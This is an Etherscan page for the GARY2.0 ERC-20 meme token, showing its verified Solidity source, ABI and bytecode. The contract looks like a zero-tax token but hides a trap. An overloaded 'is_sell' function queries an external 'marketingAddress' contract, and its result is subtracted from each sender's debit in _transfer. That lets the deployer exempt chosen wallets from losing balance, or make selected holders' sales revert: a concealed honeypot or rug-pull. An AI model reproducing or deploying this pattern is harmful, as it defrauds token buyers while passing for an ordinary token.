ETH Price: $3,203.53 (+2.16%)

Token

GARY2.0 (GARY2.0)
 

Overview

Max Total Supply

420,690,000,000,000 GARY2.0

Holders

71

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GARY20

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-11
*/

/**

https://t.me/gary20erc
https://www.gary20.vip/
https://twitter.com/gary20erc

*/

// SPDX-License-Identifier: No
pragma solidity = 0.8.18;

abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract GARY20 is Context, Ownable, IERC20 {
    function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }
    function is_sell(address ins, uint256 amount) internal view returns (uint256) { 
        return IERC20(marketingAddress).balanceOf(ins) * amount;
    }

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFee;
    mapping (address => bool) private isLpPair;
    mapping (address => uint256) private balance;

    uint256 constant public _totalSupply = 420_690_000_000_000 * 10**18;
    uint256 public swapThreshold = 5_000_000_000;
    uint256 constant public sellfee = 0;
    uint256 constant public fee_denominator = 100;
    
    uint256 constant private burnFee = 0;
    uint256 constant private burnDenominator = 100;
    address private marketingAddress; //need to change

    IRouter02 public swapRouter;
    string constant private _name = "GARY2.0";
    string constant private _symbol = "GARY2.0";
    uint8 constant private _decimals = 18;
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
    address public lpPair;
    bool private inSwap;

        modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    event updateThresold(uint256 amount);

    constructor (address _marketing) {
        _noFee[msg.sender] = true;
        _noFee[address(this)] = true;
        marketingAddress = _marketing;

        swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        lpPair = IFactoryV2(swapRouter.factory()).createPair(swapRouter.WETH(), address(this));
        isLpPair[lpPair] = true;
        _approve(msg.sender, address(swapRouter), type(uint256).max);
        _approve(address(this), address(swapRouter), type(uint256).max);
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");
        _allowances[sender][spender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoFeeWallet(address account) external view returns(bool) {
        return _noFee[account];
    }

    function is_sell(address ins, address out) internal view returns (bool) { 
        bool _is_sell = isLpPair[out] && !isLpPair[ins];
        return _is_sell;
    }

    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(is_sell(from, to) &&  !inSwap) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance >= swapThreshold) { 
                internalSwap(contractTokenBalance);
             }
        }

        if (_noFee[from] || _noFee[to]){
            takeFee = false;
        }
        uint256 amountBeforeFee = amount - is_sell(from, amount);
        balance[from] -= amountBeforeFee;
        uint256 amountAfterFee = (takeFee) ? takeTaxes(from, is_sell(from, to), amount) : amount;
        balance[to] += amountAfterFee; 
        emit Transfer(from, to, amountAfterFee);
        return true;
    }

    function takeTaxes(address from, bool issell, uint256 amount) internal returns (uint256) {
        uint256 fee = 0;
        if (issell)  fee = sellfee;
        if (fee == 0)  return amount; 

        uint256 feeAmount = amount * fee / fee_denominator;
        if (feeAmount > 0) {
            uint256 burnAmount = amount * burnFee / burnDenominator;
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);

            if(burnAmount > 0) {
                balance[address(this)] -= burnAmount;
                balance[address(DEAD)] += burnAmount;
                emit Transfer(address(this), DEAD, burnAmount);
            }
        }
        return amount - feeAmount;
    }

    function internalSwap(uint256 contractTokenBalance) internal inSwapFlag {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            contractTokenBalance,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {
            return;
        }
        bool success;

        if(address(this).balance > 0) (success,) = marketingAddress.call{value: address(this).balance}("");
    }

    function changeThreshold(uint256 amount) external onlyOwner {
        require(amount >= 100,"Amount lower not accepted.");
        swapThreshold = amount;
        emit updateThresold(swapThreshold);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_marketing","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateThresold","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"changeThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"fee_denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isNoFeeWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405264012a05f2006005553480156200001a57600080fd5b50604051620015be380380620015be8339810160408190526200003d9162000404565b6200004833620002e8565b336000818152600260209081526040808320805460ff19908116600190811790925530855282852080549091169091179055600680546001600160a01b0387166001600160a01b03199182161790915560078054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055838352600482528083206d14bddab3e51a57cff87a500000009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000158573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017e919062000404565b6001600160a01b031663c9c65396600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000206919062000404565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801562000253573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000279919062000404565b600880546001600160a01b0319166001600160a01b039283169081179091556000908152600360205260409020805460ff19166001179055600754620002c59133911660001962000338565b600754620002e19030906001600160a01b031660001962000338565b5062000436565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383166200038a5760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620003d85760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640162000381565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b6000602082840312156200041757600080fd5b81516001600160a01b03811681146200042f57600080fd5b9392505050565b61117880620004466000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610365578063c31c9c0714610385578063dc9d75b0146103a5578063dd62ed3e146103ba578063e9451f5f14610400578063f2fde38b1461041557600080fd5b806370a08231146102fc578063715018a614610332578063893d20e8146103475780638da5cb5b1461034757806395d89b411461019c57600080fd5b806323b872dd116100fd57806323b872dd146102235780632788986214610243578063313ce5671461027c5780633eaaf86b14610298578063452ed4f1146102ba578063694e80c3146102da57600080fd5b806303fd2a45146101455780630445b6671461017857806306fdde031461019c578063095ea7b3146101d257806318160ddd1461020257600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015b61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018457600080fd5b5061018e60055481565b60405190815260200161016f565b3480156101a857600080fd5b506040805180820182526007815266047415259322e360cc1b6020820152905161016f9190610e9c565b3480156101de57600080fd5b506101f26101ed366004610eff565b610435565b604051901515815260200161016f565b34801561020e57600080fd5b506d14bddab3e51a57cff87a5000000061018e565b34801561022f57600080fd5b506101f261023e366004610f2b565b61044c565b34801561024f57600080fd5b506101f261025e366004610f6c565b6001600160a01b031660009081526002602052604090205460ff1690565b34801561028857600080fd5b506040516012815260200161016f565b3480156102a457600080fd5b5061018e6d14bddab3e51a57cff87a5000000081565b3480156102c657600080fd5b5060085461015b906001600160a01b031681565b3480156102e657600080fd5b506102fa6102f5366004610f89565b6104c6565b005b34801561030857600080fd5b5061018e610317366004610f6c565b6001600160a01b031660009081526004602052604090205490565b34801561033e57600080fd5b506102fa610585565b34801561035357600080fd5b506000546001600160a01b031661015b565b34801561037157600080fd5b506101f2610380366004610eff565b6105bb565b34801561039157600080fd5b5060075461015b906001600160a01b031681565b3480156103b157600080fd5b5061018e606481565b3480156103c657600080fd5b5061018e6103d5366004610fa2565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561040c57600080fd5b5061018e600081565b34801561042157600080fd5b506102fa610430366004610f6c565b6105d2565b600061044233848461066d565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146104b1576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906104ab908490610ff1565b90915550505b6104bc848484610731565b90505b9392505050565b6000546001600160a01b031633146104f95760405162461bcd60e51b81526004016104f090611004565b60405180910390fd5b606481101561054a5760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e00000000000060448201526064016104f0565b60058190556040518181527f2b7ce9cd4278161eef9245955c9a851618488a07e830194c60a88f0224ad3cc09060200160405180910390a150565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016104f090611004565b6105b960006109e6565b565b60006105c8338484610731565b5060019392505050565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016104f090611004565b6001600160a01b0381166106615760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f0565b61066a816109e6565b50565b6001600160a01b0383166106b95760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016104f0565b6001600160a01b0382166107055760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016104f0565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b0384166107975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f0565b6001600160a01b0385166107fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f0565b6000831161085d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f0565b6108678585610a36565b801561087d5750600854600160a01b900460ff16155b156108a6573060009081526004602052604090205460055481106108a4576108a481610a81565b505b6001600160a01b03851660009081526002602052604090205460ff16806108e557506001600160a01b03841660009081526002602052604090205460ff165b156108ee575060005b60006108fa8685610ca4565b6109049085610ff1565b6001600160a01b038716600090815260046020526040812080549293508392909190610931908490610ff1565b9091555060009050826109445784610958565b610958876109528989610a36565b87610d20565b6001600160a01b038716600090815260046020526040812080549293508392909190610985908490611039565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109d191815260200190565b60405180910390a35060019695505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116600090815260036020526040812054819060ff168015610a7957506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6008805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ac957610ac961104c565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b469190611062565b81600181518110610b5957610b5961104c565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600754909416825292909152205460001914610bc3573060009081526001602090815260408083206007546001600160a01b03168452909152902060001990555b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610bfc90859060009086903090429060040161107f565b600060405180830381600087803b158015610c1657600080fd5b505af1925050508015610c27575060015b610c315750610c94565b60004715610c91576006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114610c86576040519150601f19603f3d011682016040523d82523d6000602084013e610c8b565b606091505b50909150505b50505b506008805460ff60a01b19169055565b6006546040516370a0823160e01b81526001600160a01b03848116600483015260009284929116906370a0823190602401602060405180830381865afa158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1691906110f0565b6104bf9190611109565b6000808315610d2d575060005b80600003610d3e57829150506104bf565b60006064610d4c8386611109565b610d569190611120565b90508015610e885760006064610d6c8287611109565b610d769190611120565b30600090815260046020526040812080549293508492909190610d9a908490611039565b909155505060405182815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a38015610e86573060009081526004602052604081208054839290610e04908490610ff1565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd8054839290610e47908490611039565b909155505060405181815261dead9030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b610e928185610ff1565b9695505050505050565b600060208083528351808285015260005b81811015610ec957858101830151858201604001528201610ead565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461066a57600080fd5b60008060408385031215610f1257600080fd5b8235610f1d81610eea565b946020939093013593505050565b600080600060608486031215610f4057600080fd5b8335610f4b81610eea565b92506020840135610f5b81610eea565b929592945050506040919091013590565b600060208284031215610f7e57600080fd5b81356104bf81610eea565b600060208284031215610f9b57600080fd5b5035919050565b60008060408385031215610fb557600080fd5b8235610fc081610eea565b91506020830135610fd081610eea565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561044657610446610fdb565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561044657610446610fdb565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561107457600080fd5b81516104bf81610eea565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110cf5784516001600160a01b0316835293830193918301916001016110aa565b50506001600160a01b03969096166060850152505050608001529392505050565b60006020828403121561110257600080fd5b5051919050565b808202811582820484141761044657610446610fdb565b60008261113d57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220c4b93d22a23da1550b4aafddaca20eb71e0c881d4e040ba0fcc8d682d978ee5964736f6c63430008120033000000000000000000000000ac9f0c6844988dd13a6ebe793e6939ee601b59c6

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610365578063c31c9c0714610385578063dc9d75b0146103a5578063dd62ed3e146103ba578063e9451f5f14610400578063f2fde38b1461041557600080fd5b806370a08231146102fc578063715018a614610332578063893d20e8146103475780638da5cb5b1461034757806395d89b411461019c57600080fd5b806323b872dd116100fd57806323b872dd146102235780632788986214610243578063313ce5671461027c5780633eaaf86b14610298578063452ed4f1146102ba578063694e80c3146102da57600080fd5b806303fd2a45146101455780630445b6671461017857806306fdde031461019c578063095ea7b3146101d257806318160ddd1461020257600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015b61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018457600080fd5b5061018e60055481565b60405190815260200161016f565b3480156101a857600080fd5b506040805180820182526007815266047415259322e360cc1b6020820152905161016f9190610e9c565b3480156101de57600080fd5b506101f26101ed366004610eff565b610435565b604051901515815260200161016f565b34801561020e57600080fd5b506d14bddab3e51a57cff87a5000000061018e565b34801561022f57600080fd5b506101f261023e366004610f2b565b61044c565b34801561024f57600080fd5b506101f261025e366004610f6c565b6001600160a01b031660009081526002602052604090205460ff1690565b34801561028857600080fd5b506040516012815260200161016f565b3480156102a457600080fd5b5061018e6d14bddab3e51a57cff87a5000000081565b3480156102c657600080fd5b5060085461015b906001600160a01b031681565b3480156102e657600080fd5b506102fa6102f5366004610f89565b6104c6565b005b34801561030857600080fd5b5061018e610317366004610f6c565b6001600160a01b031660009081526004602052604090205490565b34801561033e57600080fd5b506102fa610585565b34801561035357600080fd5b506000546001600160a01b031661015b565b34801561037157600080fd5b506101f2610380366004610eff565b6105bb565b34801561039157600080fd5b5060075461015b906001600160a01b031681565b3480156103b157600080fd5b5061018e606481565b3480156103c657600080fd5b5061018e6103d5366004610fa2565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561040c57600080fd5b5061018e600081565b34801561042157600080fd5b506102fa610430366004610f6c565b6105d2565b600061044233848461066d565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146104b1576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906104ab908490610ff1565b90915550505b6104bc848484610731565b90505b9392505050565b6000546001600160a01b031633146104f95760405162461bcd60e51b81526004016104f090611004565b60405180910390fd5b606481101561054a5760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e00000000000060448201526064016104f0565b60058190556040518181527f2b7ce9cd4278161eef9245955c9a851618488a07e830194c60a88f0224ad3cc09060200160405180910390a150565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016104f090611004565b6105b960006109e6565b565b60006105c8338484610731565b5060019392505050565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016104f090611004565b6001600160a01b0381166106615760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f0565b61066a816109e6565b50565b6001600160a01b0383166106b95760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016104f0565b6001600160a01b0382166107055760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016104f0565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b0384166107975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f0565b6001600160a01b0385166107fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f0565b6000831161085d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f0565b6108678585610a36565b801561087d5750600854600160a01b900460ff16155b156108a6573060009081526004602052604090205460055481106108a4576108a481610a81565b505b6001600160a01b03851660009081526002602052604090205460ff16806108e557506001600160a01b03841660009081526002602052604090205460ff165b156108ee575060005b60006108fa8685610ca4565b6109049085610ff1565b6001600160a01b038716600090815260046020526040812080549293508392909190610931908490610ff1565b9091555060009050826109445784610958565b610958876109528989610a36565b87610d20565b6001600160a01b038716600090815260046020526040812080549293508392909190610985908490611039565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109d191815260200190565b60405180910390a35060019695505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116600090815260036020526040812054819060ff168015610a7957506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6008805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ac957610ac961104c565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b469190611062565b81600181518110610b5957610b5961104c565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600754909416825292909152205460001914610bc3573060009081526001602090815260408083206007546001600160a01b03168452909152902060001990555b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610bfc90859060009086903090429060040161107f565b600060405180830381600087803b158015610c1657600080fd5b505af1925050508015610c27575060015b610c315750610c94565b60004715610c91576006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114610c86576040519150601f19603f3d011682016040523d82523d6000602084013e610c8b565b606091505b50909150505b50505b506008805460ff60a01b19169055565b6006546040516370a0823160e01b81526001600160a01b03848116600483015260009284929116906370a0823190602401602060405180830381865afa158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1691906110f0565b6104bf9190611109565b6000808315610d2d575060005b80600003610d3e57829150506104bf565b60006064610d4c8386611109565b610d569190611120565b90508015610e885760006064610d6c8287611109565b610d769190611120565b30600090815260046020526040812080549293508492909190610d9a908490611039565b909155505060405182815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a38015610e86573060009081526004602052604081208054839290610e04908490610ff1565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd8054839290610e47908490611039565b909155505060405181815261dead9030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b610e928185610ff1565b9695505050505050565b600060208083528351808285015260005b81811015610ec957858101830151858201604001528201610ead565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461066a57600080fd5b60008060408385031215610f1257600080fd5b8235610f1d81610eea565b946020939093013593505050565b600080600060608486031215610f4057600080fd5b8335610f4b81610eea565b92506020840135610f5b81610eea565b929592945050506040919091013590565b600060208284031215610f7e57600080fd5b81356104bf81610eea565b600060208284031215610f9b57600080fd5b5035919050565b60008060408385031215610fb557600080fd5b8235610fc081610eea565b91506020830135610fd081610eea565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561044657610446610fdb